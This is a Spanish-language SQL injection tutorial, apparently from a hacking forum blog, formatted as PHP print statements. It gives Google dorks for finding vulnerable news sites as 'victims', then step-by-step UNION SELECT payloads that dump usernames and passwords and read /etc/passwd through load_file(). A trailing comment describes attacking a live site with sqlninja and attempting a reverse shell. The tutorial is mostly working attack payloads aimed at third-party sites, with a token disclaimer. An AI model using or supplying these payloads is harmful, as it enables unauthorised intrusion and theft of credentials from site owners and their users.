Inyecciones SQL básico en códigos PHP

/* Inyecciones SQL básico en códigos PHP
by Syst3m-c0d3r;
*/


print "indice";

$1="Presentacion";
$2="Buscando victimas";
$3="Testeando el bug";
$4="Sacando cantidad de tablas";
$5="Tratando de sacar el user y pass";
$6="load_file: Cargar el fichero passwd";
$7="Despedida";

print "-----------------------------------------------------------------------------";


print '

Presentacion.-

Hola! Yo soy Syst3m-c0d3r, tal ves algunos me conoscan como Panther Root o Phanter RooT

Hoy voy a hacer este paper sobre inyecciones SQL (Basicos)
Es con fines educativos, no me responsabilizo del mal uso que le den a esto.

espero que les sirva :D

empezemos...
';

print "-----------------------------------------------------------------------------";


print '


Buscando Victimas.-

Un buen dork para buscar victimas vulnerables podria ser algo como un CMS de noticias:

inurl:noticias.php?id=
inurl:nota.php?id=
inurl:noticias.php?noticia=

o bien:

inurl:index.php?id=

';

print "-----------------------------------------------------------------------------";

print '

Testeando el bug.-

bueno yo encontre una pagina vulnerable:

noticias.php?id=

ahora para testear la vulnerabilidad ponemos:

noticias.php?id='

Si es vulnerable nos dará un mensaje como:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

o similar

en la mayoria de los casos tambien hay XSS:

noticias.php?id='REMOTEEXECUTION =D

bueno, ahora empezemos a explotar =D
';

print "-----------------------------------------------------------------------------";

print '

Sacando cantidad de tablas.-

Vamos a usar UNION ALL SELECT:

http://www.w3schools.com/sql/sql_union.asp

noticias.php?id=-1+UNION+ALL+SELECT+1

Esto nos va a provocar un error como:

The used SELECT statements have a different number of columns

Esto quiere decir que tiene mas de 1 tabla

entonces hay que seguir... le agregamos un ,2, quedaria asi:

noticias.php?id=-1+UNION+ALL+SELECT+1,2

si nos tira el mismo error le ponemos ,3

noticias.php?id=-1+UNION+ALL+SELECT+1,2,3

y asi hasta que nos imprima unos numeros


La inyeccion me quedó así:

noticias.php?id=-1+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14

Esto quiere decir que la base de datos tiene 14 tablas

A mi me imprimió el 2, el 3 y el 5..


';

print "-----------------------------------------------------------------------------";

print '

Tratando de sacar el user y pass.-

bueno ahora que tenemos la mitad de la inyeccion armada vamos a usar FROM.

Esto es para elegir que tabla vamos a usar

Esto es a las pruebas, es decir, no podemos sacar los nombres de las tablas al menos que sea mysql 5.0, pero eso lo explicare mas adelante...

ahora que tenemos la inyeccion ponemos al final +FROM+ y un posible nombre de la tabla

la mayoria de las veces es usuarios... o members.. o users, pero hay q probar


noticias.php?id=-1+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14+from+usernames

nos quedaria algo asi

Si nos tira este error:

Table 'NOMBRE_DE_LA_BASE_DE_DATOS.usernames' doesn't exist

es que no existe, por lo tanto, hay que probar otras formas:


noticias.php?id=-1+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14+from+usuarios

Bingo!! No me tiro ningun error, imprimio los numeros 2, 3 y 5 como antes!!

La tabla de usuarios en mi caso es "usuarios" jeje


Ahora....... A sacar el user y pass!!!

para esto tenemos que probar tambien !! el nombre de la COLUMNA...

Esto se prueba en reemplazo de los numeros que se imprimen

es decir,, si se imprime el 2 el 3 y el 5 podemos cambiar el 5 por el nombre posible de la columna.. quedaria algo asi:

noticias.php?id=-1+UNION+ALL+SELECT+1,2,3,4,usuario,6,7,8,9,10,11,12,13,14+from+usuarios

Unknown column 'usuario' in 'field list'

Ups!! No existe!! a seguir probando

Bingo!! me imprimio el 2, el 3 y el nombre de usuario :D:D:D

Ahora a buscar el password =)


noticias.php?id=-1+UNION+ALL+SELECT+1,2,3,4,concat(usuario,0x3a3a,clave),6,7,8,9,10,11,12,13,14+from+usuarios

Unknown column 'clave' in 'field list'

No existe

NOTA: 0x3a3a es Hexadecimal... 0x indica un valor hex y 3a3a ekivale a ::

concat sirve para imprimir 2 columnas en la misma tabla

noticias.php?id=-1+UNION+ALL+SELECT+1,2,3,4,concat(usuario,0x3a3a,password),6,7,8,9,10,11,12,13,14+from+usuarios

Se!! ya tenemos el user y pass

ahora podemos buscar el panel de admin

www.ejemplo.com/admin
www.ejemplo.com/login
www.ejemplo.com/login.php
www.ejemplo.com/admin.php

etc...

hay q probar...
';

print "-----------------------------------------------------------------------------";

print '

load_file: Cargar el fichero passwd.-

Load_File() es una funcion de mysql (no todas las versiones) para cargar ficheros.. no solo el de passwd. pero yo voy a mostrar un ejemplo con este...

para cargar ficheros tenemos que hacerlo en una tabla de las q se imprime y hacerlo con valor hexadecimal..

es decir, quedaria:

noticias.php?id=-1+UNION+ALL+SELECT+1,2,3,4,load_file(FICHERO CODIFICADO EN HEXADECIMAL),6,7,8,9,10,11,12,13,14+from+mysql.user--

NOTA: hay que hacerlo con la tabla mysql.user...

es decir... +from+mysql.user--

NOTA: -- (2 guiones) evita todo codigo que sigue,, de sql

/etc/passwd en hexadecimal es: 2f6574632f706173737764

por lo tanto quedaria:

load_file(0x2f6574632f706173737764)

NOTA: no olvidarse declarar que es hexadecimal.. es decir.. 0x adelante de todo


por lo tanto la inyeccion kedaria:

noticias.php?id=-1+UNION+ALL+SELECT+1,2,3,4,load_file(0x2f6574632f706173737764),6,7,8,9,10,11,12,13,14+from+mysql.user--

';

print "-----------------------------------------------------------------------------";

print '

Despedida .-

Bueno este tutorial esta dedicado a todo el foro REMOTE EXECUTION y en especial a Biser!

Un saludo y espero que les pueda servir.. ante cualquier duda:

Panther_RooT@ArgentoHack.com.ar!!

Saludos =)

';

exit();

1 comentarios:

Soax dijo...

Hey como vas.. tengo una vulnerable, entre con sqlninja y aparentemente crea el sysadmin, cuando trato de hacer un reverse-shell se cuelga pero asumo mas el problema a el router mio. La pregunta es este mensaje: arning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/laweb/public_html/prodpag.php on line 136

Es inyectable.. pero algo me falla.. minimalx3@hotmail.com